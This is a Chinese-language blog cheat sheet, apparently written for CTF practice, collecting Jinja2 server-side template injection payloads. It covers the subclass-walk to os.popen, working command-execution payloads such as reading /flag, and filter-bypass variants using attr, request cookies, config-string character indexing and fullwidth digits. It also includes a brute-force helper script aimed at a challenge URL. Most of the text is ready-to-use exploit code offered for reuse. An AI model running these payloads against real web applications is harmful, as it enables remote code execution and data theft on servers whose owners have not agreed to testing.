957 words
5 minutes
SSTI常用Payload

用来打Jinja2的一些常用Payload

基本流程#

寻找基类#

  • 寻找Object类

    解释:在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。 常用payload: {{().__class__.__mro__[-1]}}__class__这个获得到str类,mro获得基类列表,这里选的-1就是object这个类)

    __base__             类型对象的直接基类
    __bases__           类型对象的全部基类,以元组形式,类型的实例通常没有属性 bases (用这个base也行)

寻找子类#

#
  • 由Object类找子类列表

    常用payload: {{().__class__.__mro__[1].__subclasses__()}} __subclasses__()     返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。

寻找特定类#

#
  • 由子类列表找特定类

    payload示例:{{"".__class__.__mro__[-1].__subclasses__()[132]}} <class 'os._wrap_close'>  经过探索发现,这个类有个popen方法可以执行系统命令,是第133个类,这里就用132来选中

实例化特定类#

#
  • 由特定类实例化特定类对象

    payload示例: {{"".__class__.__mro__[-1].__subclasses__()[132].__init__}}

寻找方法#

#
  • 由类对象得到方法列表

    payload示例:{{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__}} __globals__      使用方式是 function __globals__获取function所处空间下可使用的module、方法以及所有变量。

调用方法#

#
  • 根据方法寻找flag

    payload示例:{{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}} popen()一个方法,用于执行命令。 read() 从文件当前位置起读取size个字节,若无参数size,则表示读取至文件结束为止,它范围为字符串对象

常用恶意类#

Python(Jinajia2)#

具有 builtins 的类#

#
<class '_frozen_importlib._ModuleLock'>
<class '_frozen_importlib._DummyModuleLock'>
<class '_frozen_importlib._ModuleLockManager'>
<class '_frozen_importlib.ModuleSpec'>
<class '_frozen_importlib_external.FileLoader'>
<class '_frozen_importlib_external._NamespacePath'>
<class '_frozen_importlib_external._NamespaceLoader'>
<class '_frozen_importlib_external.FileFinder'>
<class 'zipimport.zipimporter'>
<class 'zipimport._ZipImportResourceReader'>
<class 'codecs.IncrementalEncoder'>
<class 'codecs.IncrementalDecoder'>
<class 'codecs.StreamReaderWriter'>
<class 'codecs.StreamRecoder'>
<class 'os._wrap_close'>
<class 'os._AddedDllDirectory'>
<class '_sitebuiltins.Quitter'>
<class '_sitebuiltins._Printer'>
<class 'reprlib.Repr'>
<class 'types.DynamicClassAttribute'>
<class 'types._GeneratorWrapper'>
<class 'functools.partialmethod'>
<class 'functools.singledispatchmethod'>
<class 'functools.cached_property'>
<class 'warnings.WarningMessage'>
<class 'warnings.catch_warnings'>
<class 'contextlib._GeneratorContextManagerBase'>
<class 'contextlib._BaseExitStack'>
<class 'sre_parse.State'>
<class 'sre_parse.SubPattern'>
<class 'sre_parse.Tokenizer'>
<class 're.Scanner'>
<class 'tokenize.Untokenizer'>
<class 'traceback.FrameSummary'>
<class 'traceback.TracebackException'>

文件读取类#

#
<class 'file'>
<class '_frozen_importlib_external.FileLoader'>
<class 'site._Printer'>

具有import的类#

#
<class '_frozen_importlib._ModuleLock'>
<class '_frozen_importlib._DummyModuleLock'>
<class '_frozen_importlib._ModuleLockManager'>
<class '_frozen_importlib.ModuleSpec'>

常用Payload#

#

Python(Jinja2)#

#

__globals__的使用#

#
  • 原始版本:

    {{url_for.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")}} {{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}} {{i.__init__.__globals__['popen']('ls').read()}} (这里的url_for可以换成lsbuim/get_flashed_message这样已经实例化出来的函数对象) (也可以直接通过子类爆破的方法,找到相关函数类,实例化出函数对象) (这里的i是os的实例化对象,具体一点的话,是os_wrap_close类)

常用绕过技巧#

#
  • 点号被过滤

    {{url_for['__globals__']['__builtins__']['eval']("__import__('os').popen('cat /flag').read()"}} (这个形式和[__global__的原始使用] 第一条是对应的)

  • 括号内容被过滤(比如双引号)

    ?name={{url_for[request.args.x1][request.args.x2][request.args.x3](request.args.x4)}}&x1=__globals__&x2=__builtins__&x3=eval&x4=__import__('os').popen('cat /flag').read() ?name={{url_for[request.cookie.x1][request.cookie.x2][request.cookie.x3](request.cookie.x4)}} #args也被过滤了用

  • 中括号被过滤

    ?name={{url_for.__globals__.os.popen(request.cookies.c).read()}} 离谱了,查了一查,url_for的命名空间里面本来就有os,搞不懂前面还要这么麻烦

  • 下划线被过滤

    ?name={{(lipsum|attr(request.cookies.x1)).os.popen('cat /flag')}} ?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}} x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read() attr是Jinja2内置的一个过滤器,它可以获取一个对象的属性或方法 {{lipsum|attr(‘upper’)}}会调用lipsum.upper()方法 > attr和getitem的区别 - attr是用来访问属性的,getitem是用来访问元素的,后者是包含关系,前者是矛盾载体和矛盾的关系

  • 双大括号被过滤

    payload: ?name={%print(((lipsum|attr(request.cookies.x1)|attr(request.cookies.x2))(request.cookies.x3)|attr(request.cookies.x4)(request.cookies.x5)).read())%} x1=__globals__;x2=__getitem__;x3=os;x4=popen;x5=cat /flag

  • request被过滤

    基本原理: 利用config来构造字符串

import requests
url="http://ac6e1d67-01fa-414d-8622-ab71706a7dca.chall.ctf.show:8080/?name={{% print (config|string|list).pop({}).lower() %}}"
payload="cat /flag"
result=""
for j in payload:
for i in range(0,1000):
r=requests.get(url=url.format(i))
location=r.text.find("<h3>")
word=r.text[location+4:location+5]
if word==j.lower():
print("(config|string|list).pop(%d).lower() == %s"%(i,j))
result+="(config|string|list).pop(%d).lower()~"%(i)
break
print(result[:len(result)-1])
// ~代表着字符串连接

得到通用payload如下:

?name={%print(((lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower())|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(10).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(5).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(10).lower()~(config|string|list).pop(157).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()))((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower())|attr((config|string|list).pop(17).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(17).lower()~(config|string|list).pop(10).lower()~(config|string|list).pop(3).lower())((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower())).read())%}
//得到的payload如上,以后这种题就当填空题来写,不然太烦人了
  • 数字被过滤

    半角数字绕过

//半角全角转换脚本
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
t=''
s="0123456789"
for i in s:
t+='\''+half2full(i)+'\','
print(t)

payload如下

?name={%print(((lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower())|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(10).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(5).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(10).lower()~(config|string|list).pop(157).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()))((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower())|attr((config|string|list).pop(17).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(17).lower()~(config|string|list).pop(10).lower()~(config|string|list).pop(3).lower())((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower())).read())%}
SSTI常用Payload
https://f4miti0n.github.io/posts/jinja2-ssti-总结/
Author
F4miti0n
Published at
2023-04-11
License
CC BY-NC-SA 4.0